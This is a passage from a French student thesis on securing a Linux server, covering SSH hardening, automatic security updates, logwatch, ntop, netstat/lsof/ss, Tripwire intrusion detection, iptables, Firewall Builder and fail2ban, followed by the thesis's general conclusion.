   On va vérifier le sshd_config : 
 
>gedit sshd_config 
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   On fait des petits changements : 
LoginGraceTime : 30, pour diminuer les risques tel que : l’attaque par force brute. 
PermitRootLogin : no (je ne peux pas me connecter à SSH en root) 
   Nous avons autre chose s’il n’existe pas on peut l’ajouter en dessous, c’est : 
AllowUsers : les utilisateurs qui sont autorisés à se connecter en SSH ; 
   Et on redémarre le service par la commande : 
>service ssh restart 
 

 

IV.4.4.   Création d’une authentification SSH par clé 
   Si quelqu’un connait notre mot de passe, il pourra se connecté sur le serveur, pour cela, on 
va utiliser une paire de clé (privé-public), et en plus si on protège cette clé par un mot de 
passe nous allons avoir une double protection. 
   Sur notre machine client, on va utiliser OpenSSL pour générer une paire de clé 
 Installons SSH OpenSSL  [141]: 
 
>ssh keygen –t rsa 

 

Entrez un mot de passe, 

 

Et maintenant je vais envoyer la clé publique à mon serveur : 

>ssh-copy-id –i ~/.ssh/id_rsa.pub @serveur   
   -i: pour la source 
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On accepte le fingerprint, on donne notre mot de passe, et c’est parti !! 

 
 

IV.5.   Les mises à jour système : Les patches de sécurité 
   En premier lieu, On assure que le paquet unattended-upgrades est bien installé [142] : 
 
>dpkg –s unattended-upgrades  

 
>dpkg-reconfigure unattended-upgrades 
 
   On choisit oui,  
 
   Il s’agit d’une mise à jour automatique : 
>cd /etc/cron.daily/ 

 

>gedit 50unattended-upgrades 
 
Concernant les types de mise à jour : 
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   Seule « Security » qui doit être décommenté 

   Cherchant : Unattended-Upgrade :: Mail ’’root’’ 

 

   On enlève les deux slaches ‘’ // ‘’ pour le décommenter  

Remplaçant ‘’root’’ par un e-mail pour recevoir les notifications de mise à jour et les alertes.

 

 

IV.6.   Récupération des fichiers de configuration en cas de 
modification (Surveillance etc) 
   Si on veut restaurer le fichier de configuration après un changement : Le premier outil c’est 
‘ etckeeper ’ [143]. 
 

>apt-get install etckeeper 
   On vérifie les changements effectués : 

>bzr status /etc/  
Exemple : 

 

bzr indique qu’il y a un changement au niveau du fichier hosts  

( bzr   Le gestionnaire du code source du projet Ubuntu ) 

>etckeeper commit ‘’ajouté user’’ 
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   Le deuxième outil est ‘logwatch’ qui va surveiller notre login, chaque jour il nous envoie par mail 
un rapport de tous ce qui se passé : 

>apt-get install logwatch 
   Pour voir le rapport : 

>logwatch 
   On va voir tous ce qui est installé sur dpkg, le statu Kernel, pam (systeme d’authentification sous 
linux), postfix…etc. 

Passant à la configuration : 

>cd /etc/logwatch/ 
>ll 
S’il n’y a pas de fichier logwatch.conf, on va le copier à partir du dossier d’installation : 

>cp /usr/share/logwatch/default.conf/logwatch.conf . 
Pour visualiser le fichier : 

>ll 

 

 

IV.7.   Surveillance de trafic réseau 
Ntop (N : Network) va surveiller notre trafic réseau en temps réel [144]; 

>apt-get install ntop 
Passant à la configuration : 

>cd /etc/ntop/ 
Protocol.list : contient les protocoles à surveillés avec les services, pour les visualise, on tape : 

>cat protocol.list 
Pour ajouter une interface qui n’est pas gérée par ntop: 

>ntop –i eth0 
   eth0 : représente l’interface 

Après la configuration, on redémarre ntop. 

>service ntop restart 
 
   Le daemon va surveiller nos paquets passant par IPcap (une bibliothèque qui surveille le trafic 
réseau) et les résultats vont nous être affichés sur une page web 
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IV.8.   Contrôle des connexions réseau 
   Nous allons utiliser netstat au temps qu’un superviseur [145]: 

>netstat –i  
   Pour afficher les interfaces réseau : 

 
   Pour plus de détails sur les protocoles les sessions actives, et le nombre de messages envoyés et 
reçus : 

>netstat –s 
Les connexions courantes : 

>netstat –a 
   a : connexion en attente 
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   Pour voir les services qui maintient les ports ouverts en écoutes et le propriétaire ‘user ‘ : 

>netstat –tlnpe 

 

   t : type de protocole : tcp 
   i : mode listening (les services qui mettent les ports ouverts en écoute) 
   n : résolution de nom 
   p : processus 
   e : propriétaire du processus 
 

 

IV.8.1.   Les connexions ouvertes 
   lsof  est une commande qui permet de lister les fichiers ouverts par un processus [146] 
 >lsof –i 
   -i : Pour lister les connexions réseaux 

   Les connexions utilisées par un processus spécifique : 

>lsof –i –a –p numéro-de-processus 
-a : pour conjoindre deux filtres  
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-i : connexion  
-p : numéro de processus) 
 
   Pour filtrer : 

>lsof –i –a –c ssh 
   Si non par utilisateur : 

>lsof –i –a –u nom-utilisateur 
 
   Pour voir les fichiers utilisés : 

>lsof –N –a –u nom-utilisateur 
   N : pour NFS, network file system 

   Pour voir les fichiers qui sont ouverts par un utilisateur: 

>lsof –u nom-utilisateur 

 
   On utilise lsof aussi pour détecter qui est en train de manipuler un fichier ou un répertoire : 

>lsof /var/log/syslog 
 
Exemple : 

 

C’est rsyslogd !! 

 

IV.8.2.   SS au lieu de Netstat 
   Si notre système est chargé, donc peut-être la commande Netstat est devenu un peu long, 
par conséquent, nous pouvons la remplacé par une commande moderne qui est : SS (socket 
statistic) [147] 
Les connexions en tcp :   
>ss –t 
Pour les d’information de processus :  
 >ss -tp 
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Le statu général des connexions (établis, fermés,...):    
>ss –s 

 

   Depuis combien de temps la connexion est ‘ on’ ? 
On a besoin d’un timer : 
>ss -tao 

 

Pour un filtrage par version IP on ajout tout simplement ‘4’ ou ‘6’ (pour IPv4 ou IPv6) : 

>ss –tao4 
Recherche par état (established ou listening) : 

>ss –tao established 

 

Si nous voulons avoir une résolution d’adresse : 

>ss –tar 
  r : pour resolve 

                                      

 

IV.9.   Détection d’intrusion : par l’IDS 
   Si quelqu’un s’introduit dans notre système, il va provoquer des modifications et remplacer 
une commande ou un fichier pour pouvoir poser un backdoor. Si l’attaquant a utilisé un 
rootkit (qui représente une application typique qui va remplacer un certain nombre de 
commandes par d’autres), il devenu très difficile à le tracer puisque beaucoup de commande 
de système d’exploitation vont être changé par des commandes modifiés qui vont cacher par 
la suite la réalité [148]. 
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   Pour cela, Il y a un outil libre qui s’appelle tripwire, on l’installe tout d’abord: 
>sudo apt-get install tripwire 
Il va utiliser un agent pour envoyer des mails. 

 

 

   On passe à la configuration de tripwire : 

   Alors nous allons devoir créer une paire de clé pour signer différents fichiers, afin d’assurer leur 
intégrité. 

 

   Le problème c’est que si notre machine est compromise ce qu’on va tapez comme mot de passe va 
être visible, donc on choisit non, Si non, on choisit oui, et on initie notre phrase secrète lors de 
l’installation : 

 

   Tripwire va conserver une base de données des signatures des différents fichiers et l’utiliser pour la 
comparaison afin de détecter les modifications. 

 

Puis de la clé locale pour l’authentification des fichiers: 
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   Une boite de dialogue va nous donne l’emplacement des binaires et la base de données, donc il est 
interdit absolument d’écriture dans ces endroits : 

/usr/bin    et     /var/lib/tripwire 

   Passant maint à la configuration : Je me mets en super utilisateur root : 

>sudo su 
   Pour utiliser tripwire : 

>tripwire --check 
   Les erreurs proviennent du fait que les fichiers n’existent pas, ce sont des faux positifs, donc on les 
enlève. 

>cd /etc/tripwire/ 
   Ce qui nous intéresse est le fichier de policy: twpol.txt 

>gedit twpol.txt 
   Ce qui reste à faire et de mettre à jours les policies  par rapport à ce fichier : 

>tadmin –m P /etc/tripwire/twpol.txt 
   On tape la phrase secrète, et notre fichier de policy a été créé dans tw.pol 

   On relance tripwire : 

>tripwire --check 

 

 la base de données n’a été pas mise à jour. 
Donc on va la relancé dans le mode d’initialisation et en fait le check ; 

>tripwire --check 
On continue à éditer les fichiers, de façon à ne pas avoir aucun faut positif. 

 

IV.9.1.   Mettre à jour les signatures à l’aide d’un check interactif avec 
Tripwire 
   En cas d’un changement, tripwire va m’informer de ce changement [149]. 

>tripwire --check 
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   On va relancer tripwire avec un mode qui nous permet d’afficher un fichier qu’on peut l’éditer : 

>tripwire --chek –interactive 

 

   Lorsqu’il est coché, il va permettre la mise à jour de la base de données, et nous n’aurons plus de 
notions d’alertes sur ces éléments-là. 

   On tape ctrl+o pour écrire le fichier : 
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   Puis ctrl+x 

   On remet la phrase secrète pour modifier la base de données : 

 

 

IV.9.2.   Configuration des notifications e-mail avec tripwire 
   On a besoin d’être notifié en cas de problème et même s’il n’y a pas de problème c-à-d, on a 
besoin de recevoir des notifications chaque jour pour assurer que tripwire n’est pas arrêté, 
pour ce procéder il Ya deux méthodes : 
• par E-mail. 
• En utilisant des fonctionnalités internes de tripwire : compliqué à configurer mais qui a 

une certaine souplesse [149].  

   Pour utiliser cette fonctionnalité, il suffit de : 

>cd /etc/tripwire/ 

   twcfg.txt est le fichier de configuration générale qui est chiffré dans tw.cfg 

>vim twcfg.txt 
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   On va indiquer : à qui on envoie le message ? 
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   On ajoute : 

Mail =@e-mail ; 

   On a une disposition d’une variable. Ici, on ajoute la troisième information : 

              

 

 

 faites la même chose pour chaque règle, et on sauvegarde en tapant ‘ctrl+q ’puis save 

    Maintenant on va régénérer le fichier de policy à partir de fichier texte : tw.pol 

>twadmin --create-polfile –S site.key twpol.txt 
   Pour vérifier la configuration : 

>tripwire --test --email @e-mail 
   Le fichier de configuration twcfg.txt est lisible par les utilisateurs, ce n’est pas une bonne idée, 
donc on va le supprimer, pour cela , on tape : 

>rm *.txt 
>rm *.bak 
Il reste juste les deux clés et les deux fichiers : de configuration et de policy : 
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Recréez le fichier de configuration, le modifiez. Ensuite recréez le fichier de policy chiffré, ré-
supprimez les fichiers ‘ .txt ‘, c’est ça le principe en générale. 

 

IV.10.   Iptables  
   netfilter est le pare-feu intégré dans linux et l’interface qui nous permet de le configurer 
s’appelle : Iptables [150]. 
 
   Il faut tout d’abord choisir la chaine : 

INPUT : pour gérer les entres ; 
OUTPUT : pour les sorties ; 
FORWARD : pour gérer le trafic qui traverse le firewall. 
 
   l’interface sur laquelle on va agir : 

-I : input 
-O : output 
 
>iptables –A INPUT –i lo –s localhost –d localhost–j accept   
   J ACCEPT : on accepte le trafic qui passe sur l’interface 

-d : destination 
   On peut accepter des connexions du réseau local : 

> iptables –A INPUT –i eth0 –s 192.168.24.0 /24 –j accept 
 

   Ensuite, on Interdit le ping icmp en entré à partir de la boucle local, tout d’abord soyez en root : 

>sudo su 
   Si on veut bloquer les pings entrants ‘ INPUT ‘: 

>iptables –A INPUT –s localhost-p icmp –j --j DROP 
   -S : source 
   -P : protocole 
   -J  : la règle, 
   DROP : supprimer le paquet 
   A : ajouter une règle 
   D : supprimer une règle 
   C : pour vérifier l’existence d’une règle 
   Et maintenant le ping avec localhost ‘127.0.0.1 ‘ est impossible.  

   Pour voir cette règle : 

>iptables –L 
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   Maintenant, nous avons une règle qui est appliqué par netfilter, elle ne va pas être stockée dans un 
fichier de configuration mais juste en mémoire. 

   En utilisant un script prédéfini, on l’installe [151] : 

>apt-get install iptables-persistent 

 

   Le script va être installé dans : /etc/init.d/iptables-persistent 

   Pour sauvegarder les règles qui sont en mémoire : 

>service iptables-persistent save 
   Pour vider les règles qui sont en mémoire, mais pas les fichiers de règles : 

>service iptables-persistent flush  
   Pour récupérer ce qui est supprimé par erreurs : 

> service iptables-persistent reload 
   Pour Supprimer une règle à partir du script qu’on a utilisé pour la créer on remplace ‘A’ par ‘D’ et 
donc : 

>iptables –D INPUT –s 127.0.0.1-p icmp –j DROP 
   Maintenant, si on est sur un serveur et on veut accepter une connexion en SSH : 

>iptables –A INPUT –p TCP --dport ssh –j ACCEPT 
   On va changer la policy de la chaine, elle est par défaut ACCEPT c-à-d tout ce qui ne rentre pas 
dans nos règles va être acceptés, pour cela, on va faire un DROP de notre policy sur cette chaine 
(INPUT) pour rejeter tout ce qui ne rentre pas dans les règles d’acceptation. 

>iptables –P INPUT DROP 
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   Afin de personnaliser l’ordre des règles dans une chaine, il suffit que le netfilter commence à 
tester une après l’autre à partir de la première. 

   Si nous voulons ajouter une règle à un niveau précis, on a la fameuse commande : 

>iptables –I INPUT 1 –s localhost-p icmp –j --j DROP 
   Ici le blocage de ping sera en premier. 

 

IV.10.1.   Firewall builder 
   Ce dernier a pour but de faciliter la configuration d’iptables, donc il y a le Firewall builder, 
pour la configuration du firewall [152]. 
téléchargement : www.fwbuilder.org 

 

   Clique droite sur Firewalls dans le menu à gauche et on choisit : nouveau firewall. 

http://www.fwbuilder.org/
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   On tape un nom, le type sera iptables et le système d’exploitation sur lequel il tourne. 

 

E   nsuite on choisisis :fw template 1 et cliquer sur NEXT . 
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   Et finalement, on aura quelque chose de graphique comme ceci : 
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IV.11.   Fail2ban 
   Fail2ban est un script qui permet de bloquer les attaques : en brute force et en DOS, son 
principe est d’analyser les connexions réseaux et détecter les adresses IP qui faites beaucoup 
de connexion d’une manière dynamique, pour cela, la création d’un filtre est nécessaire pour 
les bloquer pendant un certain temps, la configuration de ce dernier est comme suit [153]: 
 
>apt-get install fail2ban 
   jail.conf est le fichier qui contient la configuration des filtres qu’on va utiliser [154] 

On fait une copie : 

>cp jail.conf jail.local 
   Pour ne pas l’écraser par les mises à jour de fail2ban dont en prend en considération le fichier 
jail.local en premier temps. 

Pour configurer jail.local : 

>vim jail.local 
   bantime : pour définir le nombre de seconds d’une adresse lors du blocage. 

 
   On peut aussi choisir le nombre de tentatives par rapport aux seconds choisis pour qu’une adresse 
aille être bloquée : 

 

   Ici une adresse va être bloquée après 3 tentatives pour une durée de 600seconds (10min). 

   Pour mettre à jour le  fail2ban : 

>fail2ban-client reload 
Pour voir le statu : 

>fail2ban-client status ssh 
 

 

IV.12.   Conclusion 
 
       L’information est aujourd’hui la sève de l’entreprise. C’est ce qui fait à la fois sa force et 

son existence. Fichiers, bases de données, méthodes de travail et de fabrication, fiches des 

salariés et informations industrielles sont autant d’informations qui composent la structure et 
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la base d’une entreprise. Il s’agit là son capital intellectuel, ou plutôt capital informationnel. 

Toute perte d’information peut porter un coup fatal à une entreprise ou même à une nation. 

Si ces informations venaient à être perdues, volées ou à tomber dans les mains d’une autre 

entreprise, la donnée n’aurait plus de raison d’exister car elle ne serait plus exclusive.  

La sécurité de l’information est donc un principe de mise en place de processus dans le but de 

mettre en sécurité, de protéger, des données lors de leur consultation, de leur traitement, de 

leur diffusion. L’information n’est pas forcément numérisée et elle doit tout de même être 

sécurisée [155]. 

       Ce chapitre a été consacré à la présentation de quelques techniques pour minimiser les 

risques et réduire le degré de gravité des vulnérabilités puisque la sécurité à 100% n’existe 

pas. 

       En première étape, on a commencé par la vérification de l’état de notre système et la 

configuration de nos outils, ensuite nous avons créé une authentification SSH par clé. On a 

installé des outils pour la surveillance du système et du trafic réseau. J’ai choisis l’outil 

tripwire en tant qu’un système de détection d’intrusion et on l’avait configuré pour mieux 

réagir face aux risques .Et on a terminé par Iptable et l’utilisation de Fairewall Builder pour la 

gestion des règles de firewall . À la fin j’ai proposé l’outil ‘Fail2ban ‘un script qui permet de 

bloquer les attaques : en brute force et en DOS, son principe est d’analyser les connexions 

réseaux et détecter les adresses IP qui faites beaucoup de connexion d’une manière 

dynamique. 

      À noter que la plupart des entreprises sont vulnérables sur des points auxquels elles n’ont 

même jamais pensé [51] et l’utilisateur est le maillon le plus faible et la grande faille reste la 

faille humaine. 
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Conclusion Générale 
 
 

   À  l'heure  du  "tout  disponible  partout  tout  de  suite",  le  transport  des  données  dans un 

système en dehors  du domicile  d'un particulier ou d'une entreprise est une  réalité qui mérite  

que  l'on s'interroge sur  la sécurité des transmissions pour ne pas compromettre un système 

d'information . 

   La sécurité d'un système d'information prend plus ou moins d'importance selon la valeur 

que l'on confère à ces données. 

   Avec  le  développement  d'Internet,  chacun  a  accès  au  réseau  où  de  plus  en plus  

d'informations  circulent .  De  plus  en  plus,  les entreprises communiquent et diffusent via 

ce media,  que ce  soit dans  leurs  liens avec  leurs  fournisseurs  ou  leurs  partenaires  ou  en  

interne,  dans  les  relations  entre  les employés  eux-mêmes. Nous sommes face non 

seulement à une augmentation de la quantité, mais aussi et surtout de l'importance des 

données. 

   L'ensemble  formé par  tout  le  réseau d'utilisateurs  de  ce  système  d'information  se  doit  

d'être  connu  pour  être  sûr. Les ressources qui y circulent doivent absolument être protégées 

et pour cela) la maîtrise du système d'information est indispensable. 

   Pour  contrer  cette  fuite  d'informations,  il  existe  des  parades  bien  évidemment, mais  

surtout des attitudes à adopter et  à  faire  adopter  par  tout système. 

   Dans un système,  il  faut  limiter  les messages  publics d'informations  sensibles  sur  les  

listes  de  diffusion,  ou  en  tout  cas  les cacher  au maximum  (le nom,  l'adresse e-mail,  

l'adresse IP...). Il faut  également  éviter de diffuser  les  informations sur les services utilisés 

et/ou  sur  leurs  versions,  afin d'éviter  la  fuite d'informations  en cas de  failles sur  l'une des 

versions utilisées.  

   D'une manière  générale,  toute information susceptible d'aider  un  attaquant à  un moment  

ou à  un  autre doit  être  absolument  cachée  du  public. Si cela paraît  évident  pour  un mot  

de  passe,  cela  peut  s'appliquer  à  des  informations  qui  ne  semblent  pas  forcément  

sensibles  au  sein  d'une  discussion technique mais  qui  peuvent  nettement  faciliter  la  vie  

d'un  attaquant  à  un moment  donné,  comme  par  exemple  un  identifiant  utilisateur,  un  

chemin quelconque.    

   Par conséquent, nous avons développé dans notre mémoire les points suivants :  
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• Dans le premier chapitre, nous avons exposé une vue générale les fondamentales de la 

sécurité au sein d’un système informatique. 

• Dans le deuxième chapitre, nous avons présenté un état de l’art sur la cryptographie et 

différents modèles de sécurité ainsi que des protocoles d’authentification et quelque 

algorithme de chiffrement et on a réalisé un comparatif de quelques méthodes d’analyse 

des risques  ainsi que des critères de choix. 

• Dans le troisième chapitre, nous avons expliqué déférent types d’attaques (sur les 

routeurs, le réseau, attaque coté serveur, coté client, orienté application web et CMS) en 

concentrant sur les  unes les plus fréquentes. 

• Dans le quatrième chapitre, nous avons élaboré un certain niveau de sécurité en utilisant 

des méthodes et des outils avancés pour la surveillance et la détection des actions 

malicieuses. 

 

   Comme perspectives à ces travaux de recherche, nous suggérons l’intégration de plusieurs 

algorithmes de chiffrement pour rendre le déchiffrement plus difficile tels AES-256, RSA et 

SHA-256 

   Suivant le même trajet, nous envisageons aussi une méthode d’authentification qui consiste 

à ajouter un champ dans l’en-tête du paquet contenant l’adresse MAC pour bien fixer 

l’identité d’une machine pendant chaque opération parce que l’adresse IP est une identité 

provisoire et dynamique, elle est aujourd’hui la mienne et demain la tienne. 
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